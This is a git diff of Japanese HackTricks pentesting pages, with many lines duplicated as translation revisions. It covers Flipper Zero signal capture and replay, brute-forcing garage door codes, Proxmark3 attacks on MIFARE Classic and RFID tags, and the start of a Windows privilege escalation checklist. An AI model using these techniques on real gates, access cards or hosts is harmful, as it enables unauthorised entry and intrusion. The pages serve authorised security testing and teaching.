<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する🐦[@carlospolopm](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するためにPRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
[**Flipper Zero**](https://flipperzero.one/)を使用すると、次のことができます:
|
||||
|
||||
* **ラジオ周波数の聴取/キャプチャ/再生:**[**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **NFCカードの読み取り/キャプチャ/エミュレート:**[**NFC**](fz-nfc.md)
|
||||
* **125kHzタグの読み取り/キャプチャ/エミュレート:**[**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **赤外線信号の読み取り/キャプチャ/送信:**[**Infrared**](fz-infrared.md)
|
||||
* **iButtonの読み取り/キャプチャ/エミュレート:**[**iButton**](../ibutton.md)
|
||||
* **ラジオ周波数のリスニング/キャプチャ/リプレイ:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **NFCカードの読み取り/キャプチャ/エミュレート:** [**NFC**](fz-nfc.md)
|
||||
* **125kHzタグの読み取り/キャプチャ/エミュレート:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md)
|
||||
* **iButtonsの読み取り/キャプチャ/エミュレート:** [**iButton**](../ibutton.md)
|
||||
* **Bad USBとして使用**
|
||||
* **セキュリティキー(U2F)として使用**
|
||||
* **Snakeをプレイ**
|
||||
|
||||
[**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) **に他のFlipper Zeroリソースがあります**
|
||||
[**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)の他のFlipper Zeroリソース
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するためにPRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,20 +9,28 @@ HackTricksをサポートする他の方法:
|
|||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有する**には、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## イントロ <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zeroは、**300-928 MHzの範囲で無線周波数を受信および送信**できる内蔵モジュールを備えており、リモートコントロールを読み取り、保存し、エミュレートできます。これらのコントロールは、ゲート、バリア、無線ロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのやり取りに使用されます。Flipper Zeroは、セキュリティが危険にさらされているかどうかを学ぶのに役立ちます。
|
||||
Flipper Zeroは、**300-928 MHzの範囲で無線周波数を受信および送信**できる内蔵モジュールを備えており、リモコンの読み取り、保存、エミュレートが可能です。これらのリモコンは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのやり取りに使用されます。Flipper Zeroは、セキュリティが危険にさらされているかどうかを学ぶのに役立ちます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sub-GHzハードウェア <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)に基づいた内蔵サブ1 GHzモジュールと、無線アンテナ(最大範囲は50メートル)が搭載されています。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、779-928 MHzの周波数で動作するよう設計されています。
|
||||
Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)をベースとした内蔵サブ1 GHzモジュールと、無線アンテナ(最大範囲は50メートル)が搭載されています。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、779-928 MHzの周波数で動作するよう設計されています。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -31,35 +39,35 @@ Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)
|
|||
### 周波数アナライザ
|
||||
|
||||
{% hint style="info" %}
|
||||
リモートが使用している周波数を見つける方法
|
||||
リモコンが使用している周波数を見つける方法
|
||||
{% endhint %}
|
||||
|
||||
Flipper Zeroは、周波数構成で利用可能なすべての周波数で信号強度(RSSI)をスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)よりも高い信号強度を持つ周波数を表示します。
|
||||
分析中、Flipper Zeroは周波数構成で利用可能なすべての周波数で信号強度(RSSI)をスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)よりも高い信号強度を持つ周波数を画面に表示します。
|
||||
|
||||
リモートの周波数を特定するには、次の手順を実行します:
|
||||
リモコンの周波数を特定するには、次の手順を実行します:
|
||||
|
||||
1. リモートコントロールをFlipper Zeroの左側に非常に近づけます。
|
||||
1. リモコンをFlipper Zeroの左側に非常に近づけます。
|
||||
2. **メインメニュー** **→ Sub-GHz**に移動します。
|
||||
3. **周波数アナライザ**を選択し、解析したいリモートコントロールのボタンを押し続けます。
|
||||
3. **周波数アナライザ**を選択し、分析したいリモコンのボタンを押し続けます。
|
||||
4. 画面上の周波数値を確認します。
|
||||
|
||||
### 読み取り
|
||||
|
||||
{% hint style="info" %}
|
||||
使用されている周波数に関する情報を見つける(他の周波数を見つける別の方法)
|
||||
使用されている周波数に関する情報を見つける(また、使用されている周波数を見つける別の方法)
|
||||
{% endhint %}
|
||||
|
||||
**Read**オプションは、デフォルトで433.92 AMで指定された周波数で**リスニング**を行います。読み取り時に**何かが見つかると**、画面に情報が表示されます。この情報は、将来信号を複製するために使用できます。
|
||||
**Read**オプションは、指定された変調で設定された周波数で**リスニング**を行います:デフォルトでは433.92 AM。読み取り時に**何かが見つかると**、画面に情報が表示されます。この情報は、将来信号を複製するために使用できます。
|
||||
|
||||
Readを使用している間に、**左ボタン**を押して**設定できます**。\
|
||||
現時点では、**4つの変調**(AM270、AM650、FM328、FM476)があり、**いくつかの関連する周波数**が保存されています。
|
||||
Readを使用中は、**左ボタン**を押して**設定**することができます。\
|
||||
現時点では、**4つの変調**(AM270、AM650、FM328、FM476)があり、**いくつかの重要な周波数**が保存されています:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
興味を持つ**任意の周波数を設定**できますが、リモートで使用されている周波数がわからない場合は、**HoppingをONに設定**(デフォルトではOff)し、Flipperがそれをキャプチャして必要な周波数を設定する情報を提供するまでボタンを何度か押します。
|
||||
興味を持つ**任意の周波数を設定**できますが、リモコンで使用されている周波数がわからない場合は、**HoppingをON**(デフォルトではOff)に設定し、Flipperがそれをキャプチャして必要な周波数を設定する情報を提供するまでボタンを数回押します。
|
||||
|
||||
{% hint style="danger" %}
|
||||
周波数間の切り替えには時間がかかるため、切り替え時に送信される信号を見逃す可能性があります。信号をよりよく受信するためには、周波数アナライザで決定された固定周波数を設定してください。
|
||||
周波数を切り替えるには時間がかかるため、切り替え時に送信される信号を見逃す可能性があります。信号をより良く受信するためには、周波数アナライザで決定された固定周波数を設定してください。
|
||||
{% endhint %}
|
||||
|
||||
### **Raw読み取り**
|
||||
|
@ -68,13 +76,13 @@ Readを使用している間に、**左ボタン**を押して**設定できま
|
|||
設定された周波数で信号を盗み(および再生)ます
|
||||
{% endhint %}
|
||||
|
||||
**Raw読み取り**オプションは、リスニング周波数で送信された信号を記録します。これを使用して信号を**盗み**、**繰り返す**ことができます。
|
||||
**Raw読み取り**オプションは、リスニング周波数で送信された信号を記録します。これを使用して信号を盗み、繰り返すことができます。
|
||||
|
||||
デフォルトでは、**Raw読み取りも433.92でAM650**ですが、Readオプションで興味を持つ信号が**異なる周波数/変調にあることがわかった場合は、左を押して**それを変更できます(Raw読み取りオプション内で)。
|
||||
デフォルトでは**Raw読み取りも433.92のAM650**ですが、Readオプションで興味を持つ信号が**異なる周波数/変調にあることがわかった場合は、それも変更**できます(Raw読み取りオプション内で左を押します)。
|
||||
|
||||
### ブルートフォース
|
||||
|
||||
たとえばガレージドアで使用されているプロトコルがわかっている場合、**Flipper Zeroですべてのコードを生成して送信**することができます。これは、一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
たとえばガレージドアで使用されているプロトコルを知っている場合、**Flipper Zeroですべてのコードを生成して送信**することができます。これは、一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### 手動で追加
|
||||
|
||||
|
@ -117,3 +125,23 @@ Readを使用している間に、**左ボタン**を押して**設定できま
|
|||
## 参考
|
||||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,23 +4,31 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください**。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Proxmark3を使用したRFIDシステムへの攻撃
|
||||
|
||||
最初に必要なのは、[**Proxmark3**](https://proxmark.com)を持っており、[**ソフトウェアをインストールし、その依存関係を解決**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**します**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
|
||||
最初に必要なのは、[**Proxmark3**](https://proxmark.com)を持っていることと、[**ソフトウェアとその依存関係をインストール**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**する**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)ことです。
|
||||
|
||||
### MIFARE Classic 1KBの攻撃
|
||||
|
||||
**16のセクター**があり、それぞれに**4つのブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあります(変更できません)。\
|
||||
各セクターにアクセスするには、**2つの鍵**(**A**と**B**)が必要で、これらは各セクターの**ブロック3に保存**されています(セクタートレーラー)。セクタートレーラーには、各ブロックの**読み取りおよび書き込み**権限を与える**アクセスビット**も保存されています。\
|
||||
2つの鍵は、最初の鍵を知っている場合に読み取り権限を与え、2番目の鍵を知っている場合に書き込み権限を与えるために役立ちます(例えば)。
|
||||
**16のセクター**があり、それぞれに**4つのブロック**があり、各ブロックには**16B**が含まれています。 UIDはセクター0のブロック0にあります(変更できません)。\
|
||||
各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは**各セクターのブロック3に保存**されています(セクタートレーラー)。 セクタートレーラーには、各ブロックの**読み取りおよび書き込み**権限を与える**アクセスビット**も格納されています。\
|
||||
2つのキーは、最初のキーを知っている場合に読み取り権限を与え、2番目のキーを知っている場合に書き込み権限を与えるために役立ちます(例えば)。
|
||||
|
||||
複数の攻撃が実行できます。
|
||||
```bash
|
||||
|
@ -45,7 +53,7 @@ Proxmark3は、**盗聴**や**Tag to Reader通信**などの他のアクショ
|
|||
|
||||
### 生のコマンド
|
||||
|
||||
IoTシステムでは、**非ブランドまたは非商用のタグ**が使用されることがあります。この場合、Proxmark3を使用してタグに対してカスタム**生のコマンドを送信**することができます。
|
||||
IoTシステムでは、**非ブランド品や非商用タグ**が使用されることがあります。この場合、Proxmark3を使用してタグに対してカスタム**生のコマンドを送信**することができます。
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
@ -55,7 +63,7 @@ No chinese magic backdoor command detected
|
|||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
この情報を使用して、カードに関する情報やそれとの通信方法について検索を試みることができます。Proxmark3を使用すると、`hf 14a raw -p -b 7 26`のような**rawコマンド**を送信できます。
|
||||
この情報を使用して、カードに関する情報やそれとの通信方法について調査できます。Proxmark3を使用すると、`hf 14a raw -p -b 7 26`のような生のコマンドを送信できます。
|
||||
|
||||
### スクリプト
|
||||
|
||||
|
@ -63,6 +71,23 @@ Proxmark3ソフトウェアには、簡単なタスクを実行するために
|
|||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
```
|
||||
ある**有効なカード**のデータをコピーして、**タグリーダー**を**fuzz**するスクリプトを作成できます。ただし、1つ以上の**ランダムなバイト**を**ランダム化**し、**リーダーがクラッシュ**するかどうかを確認する**Luaスクリプト**を作成してください。
|
||||
```
|
||||
あなたは、**有効なカード**のデータをコピーして、1つ以上のランダムな**バイト**を**ランダム化**し、**リーダーがクラッシュ**するかどうかを確認する**Luaスクリプト**を作成できます。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したり、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,116 +2,124 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキングを学ぶ**</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **Discordグループ**に参加する💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
---
|
||||
|
||||
### **Windowsローカル特権昇格ベクターを探すための最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [システム情報](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
- [ ] [**システム情報**](windows-local-privilege-escalation/#system-info)を取得する
|
||||
- [ ] **スクリプトを使用して** **カーネル**の[**脆弱性を検索**](windows-local-privilege-escalation/#version-exploits)
|
||||
- [ ] Googleを使用してカーネルの**脆弱性を検索**
|
||||
- [ ] searchsploitを使用してカーネルの**脆弱性を検索**
|
||||
- [ ] Googleを使用してカーネルの脆弱性を検索する
|
||||
- [ ] searchsploitを使用してカーネルの脆弱性を検索する
|
||||
- [ ] [**環境変数**](windows-local-privilege-escalation/#environment)に興味深い情報はありますか?
|
||||
- [ ] PowerShell履歴にパスワードはありますか?[**PowerShell履歴**](windows-local-privilege-escalation/#powershell-history)
|
||||
- [ ] [**PowerShell履歴**](windows-local-privilege-escalation/#powershell-history)にパスワードはありますか?
|
||||
- [ ] [**インターネット設定**](windows-local-privilege-escalation/#internet-settings)に興味深い情報はありますか?
|
||||
- [ ] [**ドライブ**](windows-local-privilege-escalation/#drives)はありますか?
|
||||
- [ ] [**WSUSの脆弱性**](windows-local-privilege-escalation/#wsus)はありますか?
|
||||
- [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)はありますか?
|
||||
- [**ドライブ**](windows-local-privilege-escalation/#drives)は?
|
||||
- [**WSUSの脆弱性**](windows-local-privilege-escalation/#wsus)は?
|
||||
- [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)は?
|
||||
|
||||
### [ログ/AV列挙](windows-local-privilege-escalation/#enumeration)
|
||||
|
||||
- [ ] [**監査**](windows-local-privilege-escalation/#audit-settings)および[**WEF**](windows-local-privilege-escalation/#wef)設定を確認する
|
||||
- [ ] [**監査** ](windows-local-privilege-escalation/#audit-settings)と[**WEF** ](windows-local-privilege-escalation/#wef)の設定を確認する
|
||||
- [ ] [**LAPS**](windows-local-privilege-escalation/#laps)を確認する
|
||||
- [ ] [**WDigest**](windows-local-privilege-escalation/#wdigest)がアクティブかどうかを確認する
|
||||
- [ ] [**LSA保護**](windows-local-privilege-escalation/#lsa-protection)はありますか?
|
||||
- [ ] [**資格情報ガード**](windows-local-privilege-escalation/#credentials-guard)はありますか?[**キャッシュされた資格情報**](windows-local-privilege-escalation/#cached-credentials)はありますか?
|
||||
- [ ] [**WDigest** ](windows-local-privilege-escalation/#wdigest)がアクティブかどうかを確認する
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/#lsa-protection)は?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
- [ ] [**キャッシュされた資格情報**](windows-local-privilege-escalation/#cached-credentials)は?
|
||||
- [ ] いずれかの[**AV**](windows-av-bypass)があるかどうかを確認する
|
||||
- [ ] [**AppLockerポリシー**](authentication-credentials-uac-and-efs#applocker-policy)はありますか?
|
||||
- [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)はありますか?
|
||||
- [ ] [**ユーザー特権**](windows-local-privilege-escalation/#users-and-groups)はありますか?
|
||||
- [ ] [**現在の**ユーザーの**特権**](windows-local-privilege-escalation/#users-and-groups)を確認する
|
||||
- [ ] 特権のあるグループのメンバーですか?[**特権グループ**](windows-local-privilege-escalation/#privileged-groups)を確認する
|
||||
- [ ] これらのトークンのいずれかが有効になっているかどうかを確認する:**SeImpersonatePrivilege、SeAssignPrimaryPrivilege、SeTcbPrivilege、SeBackupPrivilege、SeRestorePrivilege、SeCreateTokenPrivilege、SeLoadDriverPrivilege、SeTakeOwnershipPrivilege、SeDebugPrivilege**[**トークン操作**](windows-local-privilege-escalation/#token-manipulation)はありますか?
|
||||
- [**ユーザーセッション**](windows-local-privilege-escalation/#logged-users-sessions)はありますか?
|
||||
- [ ] [**ユーザーのホーム**](windows-local-privilege-escalation/#home-folders)を確認する(アクセスは?)
|
||||
- [ ] [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)を確認する
|
||||
- [ ] [**クリップボード**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)には何が入っていますか?
|
||||
- [**AppLockerポリシー**](authentication-credentials-uac-and-efs#applocker-policy)は?
|
||||
- [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)は?
|
||||
